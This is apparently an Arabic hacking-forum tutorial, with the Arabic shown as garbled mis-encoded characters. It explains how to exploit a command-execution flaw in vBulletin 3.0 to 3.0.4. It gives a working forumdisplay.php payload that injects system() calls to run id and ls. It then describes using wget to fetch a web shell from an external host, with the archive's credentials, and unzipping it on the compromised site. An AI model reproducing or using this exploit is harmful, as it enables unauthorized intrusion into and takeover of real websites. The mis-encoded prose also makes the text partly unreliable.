ÇáÓáÇã Úáíßã

ÓæÝ ÇÔÑÍ áßã ÇÎÊÑÇÞ ãäÊÏíÇÊ ÇáÌíá ÇáËÇáË ãä 3.0 Çáì 3.0.4 æÑÝÚ ÇáÔá æÇÎÊÑÇÞ ÇáãæÞÚ


ÇæáÇ :

ÇÞÑÇ ÇáÚÈÇÑÉ ÇáÊÇáíå

ÇÞÓã ÈÇááå áÇÇÎÊÑÞ Çí ãæÞÚ Çæ ãäÊÏì ÚÑÈí ÇáÇ ãæÞÚ Çæ ãäÊÏì íÓÈ ÏíääÇ ÇáÇÓáÇãí....


äÈÏÃ



ÇæáÇ ÔíÁ ÇáËÛÑÉ ãä äæÚ commands execution íÚäí ÊØÈíÞ ÇæÇãÑ ÇááíäßÓ

ËÇäíÇ ÇáßæÏ ÇáãÓÊÎÏã ááËÛÑÉ åæ



ßæÏ PHP:

forumdisplay.php?f=0&GLOBALS[]=1&comma={${system($cmd)}}{${exit()}}&cmd=id





ØÈÚÇ ÊáÇÍÙæä ÑÞã (((ÕÝÑ))) ÊÞÏÑ ÊÛíÑÉ ááÑÞã ÈÇáäÓÈÉ ááÞÓã Çááí ÊÏÎáÉ íÚäí ÏÎáÊ ÞÓã ÑÞã 8 ÊÍØ ÑÞã 8 ÔíÁ ãåã áÇÒã ÊÛíÑÉ

ØÈÚÇ áÇÒã íßæä ÇÞá ÔíÁ íÊÕÝÍ ÇáÞÓã Çááí ÈÊÛíÑ ÑÞãÉ ãÊÕÍ æÇÍÏ ÇáÙÇåÑ áÍÏ ÇáÇä ßá ÔíÁ ãÝåæã

((( id))) åÐÇ åæ ÇáÇãÑ áäßÓ áãÚÑÝÉ ÇáÕáÇÍíÇÊ

ÔÑæØ ÇáËÛÑÉ




íÌÈ Ãä Êßæä ÒÇÆÑ .

íÌÈ Ãä ÊÊãßä ãä ÑÄíÉ ÇáãÊæÇÌÏæä ÈÇáÃÞÓÇã .

íÌÈ Ãä íßæä åäÇß ÒÇÆÑ æÇÍÏ Úáì ÇáÃÞá Ýí ÃÍÏ ÇáÃÞÓÇã .

ÇáÔÑØ ÇáÃÓÇÓí æåæ ÅÚØÇÁ ÞíãÉ 1 ááãÕÝæÝå GLOBALS[]

ÇáÍíä íÇááå ÔÛá ÞæÞá

æÈÏÃ

åÐí åí ÇáÇÕÏÇÑÇÊ ÇáãÕÇÈå

vbulletin version 3.0.0
vbulletin version 3.0.1
vbulletin version 3.0.2
vbulletin version 3.0.3
vbulletin version 3.0.4

äÝÑÖ áÞíÊ ãäÊÏì ãÕÇÈÉ ÍØ ßæÏ ÇáËÛÑÉ ÎáÝ ÑÇÈØ ÇáãäÊÏì ãÚ ÊÛíÑÑÑÑÑÑ ÑÞã ááÞÓã Çááí ÈÊÏÎáÉ ÈÔÑØ íßæä Ýíå ÇÞá ÔíÁ ÒÇÆÑ ÔÇåÏ ÇáÕæÑÉ



áÇ ÍÙ ÍØíÊ ÈÚÏ ÑÇÈØ ÇáãäÊÏì ÔæÝ ÇáÑÞã 2 Çááí ÈÚÏ ÚáÇãÉ íÓÇæí åÐÇ ÑÞã ÇáÞÓã Çááí ÏÎáÊ

ÈÚÏíä ÇÙÛØ Çæßí ÇÐÇ ØáÚ áß ãËá Çááí ÈÇáÕæÑÉ ÝãÚäÇåÇ ÇáãäÊÏì ãÕÇÈ æÊÞÏÑ ÊÑÝÚ Ôá




Çæßí ÇáÍíä ØáÚ áäÇ ÇääÇ ããáß ÕáÇÍíÇÊ Íáæææ


ÇáÍíä ÎáäÇ äÛíÑ

which wget ÖÚåÇ ãßÇä ßáãÉ id ÇáÇÎíÑÉ Ýí ÇáßæÏ ÔæÝæÇ æÔ ÑÇÍ íÚØíäÇ Ýí ÇáÕæÑÉ




ÇÐÇ ÊÈí ÊÓÊÚÑÖ ÇáÈÇÓæÑÏÇÊ ÈÑÖÉ pwd ãßÇä id



ÇáÍíä áæ ÈÛíäÇ äÓÊÚÑÖ ÇáãáÝÇÊ ßáåÇ ÈåÐÇ ÇáßæÏ ÈÓ äÔíá ßáãÉ id æäÍØ ls


ßæÏ PHP:

forumdisplay.php?f=1&GLOBALS[]=1&comma={${system($cmd)}}{${exit()}}&cmd=ls





ãËá ãÇÊÔæÝæä ÈÇáÕæÑÉ ØáÚ ÇáãÌáÏÇÊ


ÇÎÊÇÑ Çí ãÌáÏ æÇÑÝÚ ÚáíÉ ÇáÔá æäÛíÑ ÇáÇãÑ id ÈÇáÇãÑ wget æÈÚÏíä äÑæÍ äÑÝÚ Ôá Úáì Çí ãÓÇÍÉ ãÌÇäíÉ æäÇÎÐ ÑÇÈØ ÇáÔá æäÍØÉ ÈÚÏ ßáãÉwget æÇäÇ ÑÇÝÚÊ áßã Ôá Úáì áÇíßæÓ


http://members.lycos.co.uk/alqumacr...up/xxx10xxx.zip
ØÈÚÇ ßáãÉ ÇáãÑæÑ

criminalnet ÇáíæÒÑ
black ÇáÈÇÓæÑÏ

äßãá

ØÈÚÇ ÈíÕíÑ ÇÎÑ ÇáÑÇÈØ Çááí åæ xxx10xxx.zip

ÇáÍíä äÝß ÇáÙÛØ Úä Çáæíä ÒíÈ ÈÇáÇãÑ unzip

íÚäí íßæä ßÐÇ cmd=unzip xxx10xxx.zip

æÈÚÏíä íØáÚ áß ÕÝÍÉ ÈíÖÇÁ ÝíåÇ ÑÇÈØ ÇáÔá

xxx10xxx.php

æÈßÐÇ ÎáÇÕ ÈÞí Úáíß ÊØÈÞ ÇæÇãÑ ÇááíäßÓ æÇæÇãÑ ÇááíäßÓ ãÊæÝÑÉ æãÚÑæÝÉ

ÇáÊÑÞíÚ ááËÛÑÉ ÑÞíå ááÇÕÏÇÑ ÇáÓÇÈÚ ÇÝÖá ÔíÁ

ÇÎÊÑÇÞÇÊ ãæÝÞÉ